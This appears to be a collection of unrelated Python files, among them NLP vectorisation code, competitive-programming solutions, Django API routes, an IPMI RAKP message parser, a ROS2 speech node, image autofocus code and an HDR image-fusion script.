        options are "cfidf" or "tfidf_sum".
        The default is "cfidf".

    training_tokenized_texts : list of list of str, optional
        The training texts are used to calculate the document frequencies.
        The default is None.

    normalize : bool, optional
        If True, then the document vectors will be length normalized (L2).
        The default is True.

    Returns
    -------
    labels : list of lists
        A list of document vector for each documents in the tokenized_texts

    '''

    # If training texts are not provided
    if training_tokenized_texts == None:
        training_tokenized_texts = tokenized_texts

    # Total number of texts (used in tfidf and cfidf weight calculations)
    N = len(training_tokenized_texts)
    vector_size = len(set(cluster_labels))

    # Dictionaries that record the document IDs each term or word cluster appears in
    df = {word:[] for word in words}
    cdf = {cl:[] for cl in range(vector_size)}
    word_clusters = {word: cluster_label for word, cluster_label in zip(words, cluster_labels)}

    # Calculates term-document-frequency and cluster-document-frequency from the [training] data
    for idx, tokenized_text in enumerate(training_tokenized_texts):
        for token in set(tokenized_text):

            # If token is in a part of word clusters
            if token in words:

                # Append document ID if it isn't already in the list of documents
                if idx not in df[token]:
                    df[token].append(idx)
                if idx not in cdf[word_clusters[token]]:
                    cdf[word_clusters[token]].append(idx)

    # Maps the token and word clusters to their corresponding document frequencies
    df = {token:len(df[token]) for token in df}
    cdf = {cluster_label:len(cdf[cluster_label]) for cluster_label in cdf}

    # Calculate inverse document frequencies in preparation for weighting schemes
    if weight_function == "cfidf":
        # CF-IDF Prep
        cdf_vector = np.array([cdf[cl] for cl in range(vector_size)])
        icdf_vector = np.log(N/cdf_vector + 0.01)

    elif weight_function == "tfidf_sum":
        # TF-iDF SUM Prep
        idf = {token:np.log(N/df[token]) for token in df}

    wcde_doc_vectors = [] # WcDe Document vector corresponding to each document
    cf_all = [] # Cluster Frequency vectors corresponding to each document

    # Process each document and generate its document vector
    for idx, tokenized_text in enumerate(tokenized_texts):

        # Default vector - origin
        cluster_weights = [0]*vector_size

        if len(tokenized_text) > 0:

            if weight_function == "cfidf":

                # Get cluster frequency -
                #   cf(i,j) =   count of every occurrence of any terms of
                #               cluster i that are present in document j

                cf_vector = [0]*vector_size  # default
                for token in tokenized_text:
                    if token in words:
                        cf_vector[word_clusters[token]] += 1
                cf_vector = np.array(cf_vector)
                cf_all.append(cf_vector)

                # Calculate CF-iDF weight of all the clusters in the document
                cluster_weights = cf_vector * icdf_vector

            elif weight_function == "tfidf_sum":
                # Calculate the weight of clusters in the documents as sum of
                # tfidf values of its members

                for token in set(tokenized_text):
                    if token in words:
                        cluster_weights[word_clusters[token]] += tokenized_text.count(token)*idf[token]

                cluster_weights = np.array(cluster_weights)

            # Length Normalize
            if bool(normalize):
                cluster_weights = cluster_weights/np.sqrt(np.sum(np.square(cluster_weights)))

        wcde_doc_vectors.append(list(np.asarray(cluster_weights)))

    return wcde_doc_vectors


from sys import stdin, stdout

read = stdin.readline
write = stdout.write

n, k = list(map(int, read().rsplit(' ')))
words = [list(read().rstrip()) for _ in range(n)]
fix = ['a', 'n', 't', 'i', 'c'] # 고정적으로 배워야할 단어
used_letter = [False] * 26
letter2idx = lambda x:ord(x) - ord('a')
idx2letter = lambda x:chr(ord('a') + x)
for f in fix:
    used_letter[letter2idx(f)] = True

if k < 5:
    write('0')
    exit()

max_v = 0
def dfs(depth:int, i:int):
    global max_v
    if depth == k-5:
        cnt = 0
        for word in words:
            flag = True
            for l in word:
                if not used_letter[letter2idx(l)]:
                    flag = False
                    break
            if flag: cnt += 1

        max_v = max(max_v, cnt)
        return

    for idx in range(i, 26):
        if used_letter[idx]: continue
        used_letter[idx] = True
        dfs(depth+1, idx+1)
        used_letter[idx] = False

dfs(0,0)

write(str(max_v))


class Solution:
    """
    @param tokens: The Reverse Polish Notation
    @return: the value
    """
    def evalRPN(self, tokens):
        st = []
        for t in tokens:
            if t not in ['+', '-', '*', '/']:
                st.append(int(t))
            else:
                a = st.pop()
                b = st.pop()
                if t == '+': st.append(a+b)
                elif t == '-': st.append(b-a)
                elif t == '*': st.append(a*b)
                else: st.append(int(b*1.0/a))
        return st[0]


"""Как обращаться к переменным класса внутри функции"""

class DepartmentIT:
    PYTHON_DEV = 4
    GO_DEV = 3
    REACT_DEV = 2

    """тут играет пространство имен. внутри функции не видны переменные класса. Будут видны, если вынести их за класс - в глобальную область"""

    # def info(self):
    #     print(PYTHON_DEV, GO_DEV, REACT_DEV)

    """Другие способы как обращаться к переменным класса"""
    # def info(self):
    #     print(self.PYTHON_DEV, self.GO_DEV, self.REACT_DEV)
    #
    # def info2(self):
    #     print(DepartmentIT.PYTHON_DEV, DepartmentIT.GO_DEV, DepartmentIT.REACT_DEV)
    #
    # @property
    # def info_prop(self):
    #     print(self.PYTHON_DEV, self.GO_DEV, self.REACT_DEV)
    #
    # @classmethod
    # def info_class(cls):
    #     print('info_class')
    #     print(cls.PYTHON_DEV, cls.GO_DEV, cls.REACT_DEV)
    #
    # @staticmethod
    # def info_static():
    #     print('info_static')
    #     print(DepartmentIT.PYTHON_DEV, DepartmentIT.GO_DEV, DepartmentIT.REACT_DEV)

    """Как изменить значение переменной внутри класса и сохранить это состояние"""

    def hiring_pyt_dev(self):
        self.PYTHON_DEV = self.PYTHON_DEV + 1

    def hiring_pyt_dev2(self):
        DepartmentIT.PYTHON_DEV = DepartmentIT.PYTHON_DEV + 1

w = DepartmentIT()
# w.info()  # 4 3 2
# w.info2()  # 4 3 2
# w.info_prop  # 4 3 2
# w.info_class()  # info_class  # 4 3 2
# w.info_static()  # info_static  # 4 3 2

print(w.PYTHON_DEV)  # 4 - начальное значение
w.hiring_pyt_dev()
print(w.PYTHON_DEV)  # 5 - изменили с помощью функции
print(DepartmentIT.PYTHON_DEV)  # 4 - переменная в классе не изменилась
print(w.__dict__)  # {'PYTHON_DEV': 5} - получается что новое значение создается не у класса, а у экземпляра
w.hiring_pyt_dev2()
print(DepartmentIT.PYTHON_DEV)  # 5 - чтобы поменять значение переменной внутри класса, нужно непосредственно обращаться к ней через класс
print(w.__dict__)  # {} - тут у экземпляра ничего не создается


from django.urls import path, re_path
from TicketApp import views, apiviews

'''
List of api routes

                    User Routes:
Get, Delete
-----------------------------
Show all users = api/users/
Show one user by username = api/users?username={username}
Show one user by email = api/users?email={email}
Delete one user = api/users/<username>

Post, Put Routes
-----------------------------
id required in body for Put
Add/Update user with request body = api/users/

                    Address Routes:
Get, Delete
-----------------------------
Show all addresses = api/addresses/
Show/Delete one address = api/addresses/<id>

Post, Put Routes
-----------------------------
id required in body for Put
Add/Update address with request body = api/addresses/

                    Offer Routes:
Get, Delete
-----------------------------
Show all offers = api/offers/
Show all of a buyers and/or sellers offers = api/offers?buyer={username}&seller={username}
Show/Delete offer = api/offers/<id>

Post, Put Routes
-----------------------------
id required in body for Put
buyer username may be blank or omitted entirely
buyer (if provided) and seller usernames must exist or else error returned, ids for event and area must exist
Add/Update offer with request body = api/offers/

                    Venue Routes:
Get, Delete
-----------------------------
Show all venues = api/venues/
Show/Delete venue = api/venues/<id>

Post, Put Routes
-----------------------------
id required in body for Put
id for address must exist
Add/Update venue with request body = api/venues/

                    Area Routes:
Get, Delete
-----------------------------
Show all areas = api/areas/
Show/Delete area = api/areas/<id>

Post, Put Routes
-----------------------------
id required in body for Put
id for venue must exist
Add/Update area with request body = api/areas/

                    Price Routes:
Get, Delete
-----------------------------
Show all prices = api/prices/
Show/Delete price = api/prices/<id>

Post, Put Routes
-----------------------------
id required in body for Put
id for area must exist
Add/Update price with request body = api/prices/

                    Performer Routes:
Get, Delete
-----------------------------
Show all performers = api/performers/
Show/Delete performer = api/performers/<id>

Post, Put Routes
-----------------------------
id required in body for Put
Add/Update performer with request body = api/performers/

                    Genre Routes:
Get, Delete
-----------------------------
Show all genres = api/genres/
Show/Delete genre = api/genres/<id>

Post, Put Routes
-----------------------------
id required in body for Put
Add/Update genre with request body = api/genres/

                    EventPerformer Routes:
Get, Delete
-----------------------------
Show all eventperformers = api/eventperformers/
Show all events with performer = api/eventperformers?performer={id}
Show all of an events performers = api/eventperformers?event={id}
Check if event has a performer = api/eventperformers?event={id}&performer={id} | Will return json { ok : [] } in case false
Show/Delete eventperformer = api/eventperformers/<id>

Post, Put Routes
-----------------------------
id required in body for Put
event and performer ids must exist
date is in the format YYYY-MM-DDThh:mm e.g 2023-01-01T23:59
Add/Update eventperformer with request body = api/eventperformers/

                    EventGenre Routes:
Get, Delete
-----------------------------
Show all eventgenres = api/eventgenres/
Show all events with genre = api/eventgenres?genre={name}
Show all of an events genres = api/eventgenres?event={id}
Check if event has a genre = api/eventgenres?event={id}&genre={name} | Will return json { ok : [] } in case false
Show/Delete eventgenre = api/eventgenres/<id>

Post, Put Routes
-----------------------------
id required in body for Put
event id and genre name must exist
Add/Update eventgenre with request body = api/eventgenres/

                    Event Routes:
Get, Delete
-----------------------------
Show all events = api/events/
Show all of a venues events = api/events?venue={id}
Show/Delete event = api/events/<id>

Post, Put Routes
-----------------------------
id required in body for Put
venue id must exist
date is in the format YYYY-MM-DDThh:mm e.g 2023-01-01T23:59
Add/Update event with request body = api/events/

'''

urlpatterns = [

    re_path(r'^users/?$', apiviews.UserApi, name="all-users"),
    re_path(r'^users/(?P<username>\w+)', apiviews.UserApi, name="one-user"),

    re_path(r'^addresses/?$', apiviews.AddressApi, name="all-addresses"),
    re_path(r'^addresses/(?P<id>[0-9]+)', apiviews.AddressApi, name="one-address"),

    re_path(r'^offers/?$', apiviews.OfferApi, name="all-offers"),
    re_path(r'^offers/(?P<id>[0-9]+)', apiviews.OfferApi, name="one-offer"),

    re_path(r'^venues/?$', apiviews.VenueApi, name="all-venues"),
    re_path(r'^venues/(?P<id>[0-9]+)', apiviews.VenueApi, name="one-venue"),

    re_path(r'^areas/?$', apiviews.AreaApi, name="all-areas"),
    re_path(r'^areas/(?P<id>[0-9]+)', apiviews.AreaApi, name="one-area"),

    re_path(r'^prices/?$', apiviews.PriceApi, name="all-prices"),
    re_path(r'^prices/(?P<id>[0-9]+)', apiviews.PriceApi, name="one-price"),

    re_path(r'^performers/?$', apiviews.PerformerApi, name="all-perfomers"),
    re_path(r'^performers/(?P<id>[0-9]+)', apiviews.PerformerApi, name="one-performer"),

    re_path(r'^genres/?$', apiviews.GenreApi, name="all-genres"),
    re_path(r'^genres/(?P<id>[0-9]+)', apiviews.GenreApi, name="one-genre"),

    re_path(r'^eventperformers/?$', apiviews.EventPerformerApi, name="all-eventperformers"),
    re_path(r'^eventperformers/(?P<id>[0-9]+)', apiviews.EventPerformerApi, name="one-eventperformer"),

    re_path(r'^eventgenres/?$', apiviews.EventGenreApi, name="all-eventgenres"),
    re_path(r'^eventgenres/(?P<id>[0-9]+)', apiviews.EventGenreApi, name="one-eventgenre"),

    re_path(r'^events/?$', apiviews.EventApi, name="all-events"),
    re_path(r'^events/(?P<id>[0-9]+)', apiviews.EventApi, name="one-event"),

]


import nltk
from nltk.corpus import brown

from nltk.corpus import PlaintextCorpusReader
corpus_root = 'C://Users//Stoeoeoe//Dropbox//Thesis 2016//Data//documents'
corpus = PlaintextCorpusReader(corpus_root, '.*\.txt', encoding='utf-8')

cfd = nltk.ConditionalFreqDist(
          (genre, word)
          for genre in brown.categories()
          for word in brown.words(categories=genre))

print(wordlists.words("1.txt"))


'''
Programming Challenge: Grade Determiner
Professor Fuentes teaches a Python class and uses the following grading scale
for all of her exams. You work as a teacher's assistant and due to her busy
schedule she has requested that you write a program which will determine the
grades of the class's students.

Her grading scale is as follows:
A score of 90 or above is an A
A score of 80 or above is a B
A score of 70 or above is a C
A score of 60 or above is a D
A score any lower is an F

For this exercise, start by creating a variable and assigning that variable a
student's score as an integer using input().
Then, using nested if and else statements and the following set of rules,
determine and then display the student's grade along with their score using
print().

If the student's score is greater than or equal to 90, then the student will receive an A grade.
Otherwise, if the student's score is greater than or equal to 80, then the student will receive an B grade.
Otherwise, if the student's score is greater than or equal to 70, then the student will receive an C grade.
Otherwise, if the student's score is greater than or equal to 60, then the student will receive an D grade.
Otherwise, the student will receive an F grade.

Make sure to run your program multiple times and test it with values for each 5
of the different grades to make sure that the correct output is displayed for
any value entered as a student's score.
'''

def readint(msg):
    while True:
        try:
            i = int(input(msg).strip())
        except (ValueError, TypeError):
            print('\033[31mInvalid Value!\033[m')
        else:
            return i

while True:
    score = readint('Enter student\'s score: ')
    if score in range(0, 101):
        break
    else:
        print('{0}Score out of range. {1}Enter 0 to 100{0}.{2}'.format('\033[31m', '\033[34m', '\033[m'))

if score >= 90:
    print('Student Grade is \033[32mA\033[m.')
else:
    if score >= 80:
        print('Student Grade is \033[32mB\033[m.')
    else:
        if score >= 70:
            print('Student Grade is \033[32mC\033[m.')
        else:
            if score >= 60:
                print('Student Grade is \033[32mD\033[m.')
            else:
                print('Student Grade is \033[32mF\033[m.')

Solutions.New/Programming Challenge 06 - Grade Determiner.py


from ipmi_helper import IPMIHelper
from hashlib import sha1
import hmac

class PayloadRAKPMessage4():

    def __init__(self, **keys):

        if len(keys) == 1:
            self.RAKP_message_3_message_tag = PayloadRAKPMessage4.extract_message_tag(keys['data'])
            self.rcmp_status_code = PayloadRAKPMessage4.extract_rcmp_status_code(keys['data'])
            self.reserved = PayloadRAKPMessage4.extract_reserved(keys['data'])
            self.RCMP_remote_console_session_id = PayloadRAKPMessage4.extract_remote_console_session_id(keys['data'])
            self.integrity_check_value = PayloadRAKPMessage4.extract_integrity_check_value(keys['data'])
            self.SIK = None
            self.RCMP_auth_algorithm = None
            self.RAKP_message_1_remote_console_random_number = None
            self.RAKP_message_1_managed_system_session_id = None
            self.RAKP_message_2_managed_system_GUID = None
        elif len(keys) == 8:
            self.RAKP_message_3_message_tag = keys['RAKP_message_3_message_tag']
            self.rcmp_status_code = keys['rcmp_status_code']
            self.reserved = '0000'
            self.RCMP_remote_console_session_id = keys['RCMP_remote_console_session_id']
            self.SIK = keys['SIK']
            self.RCMP_auth_algorithm = keys['RCMP_auth_algorithm']
            self.RAKP_message_1_remote_console_random_number = keys['RAKP_message_1_remote_console_random_number']
            self.RAKP_message_1_managed_system_session_id = keys['RAKP_message_1_managed_system_session_id']
            self.RAKP_message_2_managed_system_GUID = keys['RAKP_message_2_managed_system_GUID']
            self.integrity_check_value = self.calc_integrity_check_value()

    def __repr__(self):
        return "------- PayloadRAKPMessage4 -------" \
                + "\nRAKP_message_3_message_tag : " + self.RAKP_message_3_message_tag \
                + "\nrcmp_status_code : " + self.rcmp_status_code + " human readable : " + PayloadRAKPMessage4.get_rcmp_status_code_definition(self.rcmp_status_code) \
                + "\nreserved : " + self.reserved \
                + "\nmgmt_console_session_id : " + self.RCMP_remote_console_session_id \
                + "\nSIK : " + str(self.SIK) \
                + "\nRCMP_auth_algorithm : " + str(self.RCMP_auth_algorithm) \
                + "\nRAKP_message_1_remote_console_random_number : " + str(self.RAKP_message_1_remote_console_random_number) \
                + "\nRAKP_message_1_managed_system_session_id : " + str(self.RAKP_message_1_managed_system_session_id) \
                + "\nRAKP_message_2_managed_system_GUID : " + str(self.RAKP_message_2_managed_system_GUID) \
                + "\nintegrity_check_value : " + self.integrity_check_value

    @staticmethod
    def extract_message_tag(data):
        return data[0:2]

    @staticmethod
    def extract_rcmp_status_code(data):
        return data[2:4]

    @staticmethod
    def extract_reserved(data):
        return data[4:8]

    @staticmethod
    def extract_remote_console_session_id(data):
        return data[8:16]

    @staticmethod
    def extract_integrity_check_value(data):
        return data[16:]

    @staticmethod
    def get_rcmp_status_code_definition(hex_val):
        maximum_privileges = {
            '00' :'No errors',
            '01' : 'Insufficient resources to create a session',
            '02' : 'Invalid session ID',
            '03' : 'Invalid payload type',
            '04' : 'Invalid authentication algorithm',
            '05' : 'Invalid integrity algorithm',
            '06' : 'No matching authentication payload',
            '07' : 'No matching integrity payload',
            '08' : 'Inactive session id',
            '09' : 'Invalid role',
            '0a' : 'Unauthorized role or privilege level requested',
            '0b' : 'Insufficient resources to create a session at the requested role',
            '0c' : 'Invalid name length',
            '0d' : 'Unauthorized name',
            '0e' : 'Unauthorized GUID',
            '0f' : 'Invalid integrity check value',
            '10' : 'Invalid confidentiality algorithm',
            '11' : 'No Cipher suite match with proposed security algorithm',
            '12' : 'Illegal or unrecognized parameter'
        }

        try:
            return maximum_privileges[hex_val]
        except:
            return "Reserved for future definition"

    def calc_integrity_check_value(self):
        if self.RCMP_auth_algorithm == 'RAKP-HMAC-SHA1':
            #test = self.RAKP_message_1_remote_console_random_number + self.RAKP_message_1_managed_system_session_id + self.RAKP_message_2_managed_system_GUID
            hmac_sik = hmac.new(bytes.fromhex(self.SIK)
            , bytes.fromhex(self.RAKP_message_1_remote_console_random_number + self.RAKP_message_1_managed_system_session_id + self.RAKP_message_2_managed_system_GUID)
            , sha1)
        else:
            raise AttributeError('Authentication algorithm ' + str(self.RCMP_auth_algorithm) + ' not implemented')

        return hmac_sik.digest().hex()[0:24]


'''
datasets.py: Customized dataset provider.
---- Dataset: object containing training set and test set
'''
import os
import pandas as pd
import numpy as np
import scipy.io as scio
from joblib import dump, load
from sklearn.preprocessing import StandardScaler

def extract_d1(datapath):
    '''
    input: data path -> list
    output: X_train, y_train, X_test, y_test -> array-like object
    '''
    train_path = datapath[0]
    test_path = datapath[1]
    X_train = np.loadtxt(train_path[0])
    y_train = np.loadtxt(train_path[1])
    X_test = np.loadtxt(test_path[0])
    y_test = np.loadtxt(test_path[1])
    return X_train, y_train, X_test, y_test

class Dataset:
    '''
    Dataset of training set and test set
    '''

    def __init__(self, descr, datapath=None, extraction=extract_d1, preprocessing=False, persistency=False, artifact_dir="../artifacts/", LOAD=None):
        '''
        Parameters:
        -- descr: Description of dataset, e.g. the usage or components of dataset, which would be used in persistency directory -> str
        -- datapath: Path of the original data file where you want to load the data -> str
        -- extraction: Function need-to-implement, which is used to extract the array like data from origin data file -> function
        -- preprocessing: Use standard scaler to scale X and normalize y to 0 mean.
        -- persistency: Whether to execute persistency of the data loaded -> bool
        -- artifact_dir: Persistency top directory, e.g /home/xx/proj/data -> str
        -- LOAD: Load from existed pickle? cover the "extraction" and "datapath"-> bool
        '''

        self.descr = str(descr)
        if LOAD:
            if not artifact_dir.endswith("/"):
                artifact_dir = f"{artifact_dir}/"
            self.X_train = load(os.path.join(f"{artifact_dir}data/", LOAD, "X_train.pickle"))
            self.y_train = load(os.path.join(f"{artifact_dir}data/", LOAD, "y_train.pickle"))
            self.X_test = load(os.path.join(f"{artifact_dir}data/", LOAD, "X_test.pickle"))
            self.y_test = load(os.path.join(f"{artifact_dir}data/", LOAD, "y_test.pickle"))

        else:
            X_scaler = None
            y_mean = 0
            self.X_train, self.y_train, self.X_test, self.y_test = extraction(datapath)
            if preprocessing:
                # self.y_train = self.y_train.reshape(-1, 1)
                # self.y_test = self.y_test.reshape(-1, 1)
                self.X_scaler = StandardScaler()
                # self.y_scaler = StandardScaler()
                self.X_scaler.fit(self.X_train)
                # self.y_scaler.fit(self.y_train)
                self.X_train = self.X_scaler.transform(self.X_train)
                # self.y_train = self.y_scaler.transform(self.y_train)
                self.X_test = self.X_scaler.transform(self.X_test)
                # self.y_test = self.y_scaler.transform(self.y_test)
                # self.y_train = self.y_train.reshape(-1,)
                # self.y_test = self.y_test.reshape(-1,)
            if persistency:
                PREFIX = "data/{}/".format(self.descr)
                if not os.path.exists(os.path.join(artifact_dir, PREFIX)):
                    os.mkdir(os.path.join(artifact_dir, PREFIX))
                if preprocessing and X_scaler:
                    dump(X_scaler, os.path.join(artifact_dir, PREFIX, "Xscaler_ymean_{}.pickle".format(y_mean)))
                dump(self.X_train, os.path.join(artifact_dir, PREFIX, "X_train.pickle"))
                dump(self.y_train, os.path.join(artifact_dir, PREFIX, "y_train.pickle"))
                dump(self.X_test, os.path.join(artifact_dir, PREFIX, "X_test.pickle"))
                dump(self.y_test, os.path.join(artifact_dir, PREFIX, "y_test.pickle"))

    def convert(self, to_type):
        '''
        Convert self.xxx to relavant type:
        Parameters:
        -- to_type: The type you want to transform, only support [np.ndarray, torch.Tensor, pd.DataFrame] -> type
        '''
        _type_str = ["Array", "Tensor", "DataFrame"]
        _type = [(np.ndarray, np.generic), torch.Tensor, pd.DataFrame]
        if to_type not in _type_str:
            raise ValueError("to_type must be one of {}".format(_type_str))
        transform = [lambda a: t(a) for t in [np.array, torch.Tensor, pd.DataFrame]]
        for i, _to_type in enumerate(_type_str):
            if to_type == _to_type:
                if not isinstance(self.X_train, _type[i]):
                    try:
                        self.X_train = transform[i](self.X_train)
                    except:
                        raise ValueError("cannot transform to {}".format(_type_str[i]))
                if not isinstance(self.y_train, _type[i]):
                    try:
                        self.y_train = transform[i](self.y_train)
                    except:
                        raise ValueError("cannot transform to {}".format(_type_str[i]))
                if not isinstance(self.X_test, _type[i]):
                    try:
                        self.X_test = transform[i](self.X_test)
                    except:
                        raise ValueError("cannot transform to {}".format(_type_str[i]))
                if not isinstance(self.y_test, _type[i]):
                    try:
                        self.y_test = transform[i](self.y_test)
                    except:
                        raise ValueError("cannot transform to {}".format(_type_str[i]))

    def reverse_scaler(self, y):
        return self.y_scaler.inverse_transform(y)


import objc_util
import ui

# CTYPES

class _CoordinateRegion (objc_util.Structure):
    _fields_ = [
        ("center", objc_util.CGPoint),
        ("span", objc_util.CGSize)
    ]

# MAIN INTERFACE

class MapView(ui.View):
    @objc_util.on_main_thread
    def __init__(self, *args, **kwargs):
        super().__init__(self, *args, **kwargs)

        self._view = objc_util.ObjCClass("MKMapView").new()
        self._view.setFrame_(
            objc_util.CGRect(
                objc_util.CGPoint(0, 0),
                objc_util.CGSize(self.width, self.height)
            )
        )
        self._view.setAutoresizingMask_(18)  # W+H
        objc_util.ObjCInstance(self).addSubview_(self._view)

        self.animated = True

    @property
    def bounds(self):
        """The upper left and lower right coordinates of the visible map area
        as latitude/longitude values."""
        center = self._view.region().a.a, self._view.region().a.b
        span = self._view.region().b.a, self._view.region().b.b
        min_x = center[0] - span[0] / 2
        min_y = center[1] - span[1] / 2
        max_x = center[0] + span[0] / 2
        max_y = center[1] + span[1] / 2

        return min_x, min_y, max_x, max_y

    @bounds.setter
    def bounds(self, coords):
        """get the upper left and lower right coordinates of the visible map
        area with latitude/longitude values."""
        topleft, bottomright = coords[:2], coords[2:]

        min_x, min_y = topleft
        max_x, max_y = bottomright
        span = (
            max_x - min_x,
            max_y - min_y
        )
        center = (
            min_x + span[0] / 2,
            min_y + span[1] / 2
        )
        self._view.setRegion_animated_(
            _CoordinateRegion(
                objc_util.CGPoint(*center),
                objc_util.CGSize(*span),
            ),
            self.animated,

            restype=None, argtypes=[_CoordinateRegion, objc_util.c_bool]
        )

    @property
    def center(self):
        coord = self._view.centerCoordinate()
        return coord.a, coord.b

    @center.setter
    def center(self, coords):
        self._view.setCenterCoordinate_animated_(
            objc_util.CGPoint(coords[0], coords[1]),
            self.animated,
            restype=None,
            argtypes=[objc_util.CGPoint, objc_util.c_bool]
        )


n = input()
numbers = list(map(int, input().strip().split()))
numbers = sorted(numbers)
i = 1
a = True
while a and i + 1 < len(numbers):
    if numbers[-i-2] + numbers[-i-1] > numbers[-i]:
        a = False
    i += 1
if not a:
    print("possible")
else:
    print("impossible")


import rclpy
from rclpy.node import Node
from text_to_speech import speak

class SpeakerNode(Node):
    def __init__(self):
        super(SpeakerNode, self).__init__("speaker")
        self.create_timer(2, self.speaker_callback)

    def speaker_callback(self):
        self.get_logger().info("Speaker Node Initialized. Ami ekhon kotha bolbo ...")
        speak("Speaker Node Initialized. I will speak now", "en", save=1, file="pls_delete_me.mp3")
        self.get_logger().info("Hello Abdullah Al Arif ...")
        speak("Hello Abdullah Al Arif", "bn",  save=1, file="pls_delete_me.mp3")

def main(args=None):
    rclpy.init(args=args)
    node = SpeakerNode()
    rclpy.spin(node)
    rclpy.shutdown()

if __name__ == "__main__":
    main()


import sys

import cv2
import matplotlib.pyplot as plt
import numpy as np
from scipy.interpolate import BSpline, make_interp_spline

class AutoFocus:
    def __init__(self) -> None:
        self.k = 700
        self.height_list = []
        self.height_listmag_list = []
        self.x = 10

    def autofocus(self):
        """
        Generate the function comment for the given function body in a markdown code block with the correct language syntax.
        This code defines a function called autofocus that performs some image processing operations. It takes no arguments and returns
        two arrays, xnew and power_smooth.

        The function iterates over a range of values, appends values to a list, and performs image processing operations on each iteration.
        It uses the OpenCV library to apply Sobel operators to calculate the gradient magnitude of the image. It then calculates the median
        of the gradient magnitudes and filters out values below a certain threshold. The function also calculates the sum of the filtered
        gradient magnitudes and appends it to another list.

        Finally, the function converts the lists to numpy arrays, creates a new array xnew using the minimum and maximum values from
        height_list, and applies a spline interpolation to smooth the height_listmag_list values. The smoothed values are stored in power_smooth
        and both xnew and power_smooth are returned from the function.
        Returns:
            xnew (numpy.ndarray): An array of x-axis values.
            power_smooth (numpy.ndarray): An array of smoothed y-axis values.
        """
        for i in range(21):
            self.height_list.append(k)
            k +=10

        self.k = 700
        for i in range(21):
            img = cv2.imread(str(self.k) + ".bmp",0)

            #print("cropped/" + str(k) + ".bmp___________________")
            sobelx = cv2.Sobel(img,cv2.CV_64F,1,0)
            sobely = cv2.Sobel(img,cv2.CV_64F,0,1)

            Gmag = np.sqrt(sobelx*sobelx + sobely*sobely)
            Gmag = Gmag.flatten()
            #Gdir = np.arctan2(sobely, sobelx) * (180 / np.pi)

            #Gmag = np.where(Gmag == 0, np.nan, Gmag)
            Gmag = Gmag[Gmag!=0]

            ortanca_deger = np.median(Gmag)
            print(ortanca_deger)
            #print(str(k) + " - MEDIAN = ", ortanca_deger)

            ortanca_deger3 = ortanca_deger*self.x
            #Gmag = np.where(Gmag < (ortanca_deger3), np.nan, Gmag)
            Gmag = Gmag[Gmag>ortanca_deger3]

            print(str(self.k) + " - SUM    = ", np.sum(Gmag))
            self.height_listmag_list.append(np.sum(Gmag))
            self.k +=10

        self.height_list = np.array(self.height_list); self.height_listmag_list = np.array(self.height_listmag_list)

        xnew = np.linspace(self.height_list.min(), self.height_list.max(), 30000)
        spl = make_interp_spline(self.height_list, self.height_listmag_list, k=3)  # type: BSpline
        power_smooth = spl(xnew)

        return xnew, power_smooth

    def plot(self, xnew, power_smooth):
        """
        Plots the given data using matplotlib.
        This code defines a method called plot that uses matplotlib to plot data. It takes in two parameters, xnew and power_smooth,
        which are arrays of x-values and y-values respectively. The method plots the data using plt.plot, adds a legend, sets labels
        for the x-axis and y-axis, scales the y-axis using a symlog scale, and sets a title for the plot. Finally, it displays the plot
        using plt.show.
        Parameters:
            xnew (array-like): The x-values of the data.
            power_smooth (array-like): The y-values of the data.
        Returns:
            None
        """
        plt.plot(xnew, power_smooth, label="P Values for Every ε Position")
        #plt.plot(self.height_list, self.height_listmag_list, label="P Values for Every ε Position")
        plt.legend()
        plt.xlabel("ε Values")
        plt.ylabel("P Values")
        plt.yscale('symlog')
        plt.title("ς = {}".format(self.x))
        plt.show()


import tensorflow as tf

import argparse
import os
import time
from tqdm import tqdm
import cv2
import sys

sys.path.append("./models")
sys.path.append("./data_utils")
sys.path.append("./losses")

from untied_model import deepfuse_triple_untied
from tied_model import deepfuse_triple_tied
from tied_model_double_encoder import deepfuse_triple_2encoder
from tied_model_triple_encoder import deepfuse_triple_3encoder
from refine_unet import refine_net
from PWCNet import pwc_net

from logCompressor import log_compressor
from transform_utils import *
from skimage.transform import resize
from tf_warp import backward_warp

parser = argparse.ArgumentParser()
parser.add_argument('--source_dir', default='./data_samples/test_data/', help='link to list of training patches')
parser.add_argument('--fusion_model', default='triple_encoder', help='tied|untied|double_encoder|triple_encoder')
parser.add_argument('--fusion_ckpt', default='./checkpoints/pretrained_triple_encoder/model170001.ckpt', help='path to fusion ckpt')
parser.add_argument('--refine_ckpt', default='./checkpoints/pretrained_refine/model55.ckpt', help='path to refine ckpt')
parser.add_argument('--flow_ckpt', default='./checkpoints/pretrained_pwc/pwcnet.ckpt-595000', help='path to flow ckpt')
parser.add_argument('--ref_label', default=2, help = 'which image to use as reference')
parser.add_argument('--hdr_channels', default=1, help = 'weather to concatenate hdr along channels')
parser.add_argument('--gpu', default=0, help = 'which gpu to use')

def refine_dark(im1, im2, im12, im21, image_shape, batch_size=1, reuse=False, fl=None):
    """
    Called to generate darker version of reference image
    Args:
        im1: Darker Under-exposed Image
        im2: Brighter reference image
        im21: im2 mapped to exposure of im1
        im12 : im1 mapped to exposure of im2
        fl: Optional flow if computed offline or using some other algorithm
    Returns:
        output_im: corrected im21
    """
    inp1 = tf.expand_dims(im2, 1)
    inp2 = tf.expand_dims(im12, 1)
    forward_vals = tf.concat([inp1, inp2], axis =1)
    backward_vals = tf.concat([inp2, inp1], axis = 1)
    if fl is not None:
        flow = fl
    else:
        pwc_inp = tf.concat([forward_vals, backward_vals], axis=0)
        flow, _ = pwc_net(pwc_inp)
    warped_im1 = backward_warp(im1, flow[:batch_size])
    warped_im1 = tf.reshape(warped_im1, tf.concat([image_shape,[3]], -1))
#    forward_occlusion, backward_occlusion = occlusion(flow[:batch_size], flow[batch_size:])
    refine_input = tf.concat([warped_im1, im21, flow[:batch_size]], axis=-1)
    output_map = refine_net(refine_input, name='dark_refine', reuse=reuse)
    output_im = output_map*im21+(1.-output_map)*warped_im1
    return output_im

def refine_bright(im1, im2, im21, image_shape, batch_size=1, reuse=False, fl=None):
    """
    Called to generate brighter version of reference image
    Args:
        im1: Bright Over-exposed Image
        im2: Darker reference image
        im21: im2 mapped to exposure of im1
        fl: Optional flow if computed offline or using some other algorithm
    Returns:
        output_im: corrected im21
    """
    inp1 = tf.expand_dims(im21, 1)
    inp2 = tf.expand_dims(im1, 1)
    forward_vals = tf.concat([inp1, inp2], axis =1)
    backward_vals = tf.concat([inp2, inp1], axis = 1)
    if fl is not None:
        flow = fl
    else:
        pwc_inp = tf.concat([forward_vals, backward_vals], axis=0)
        flow, _ = pwc_net(pwc_inp)
    warped_im1 = backward_warp(im1, flow[:batch_size])
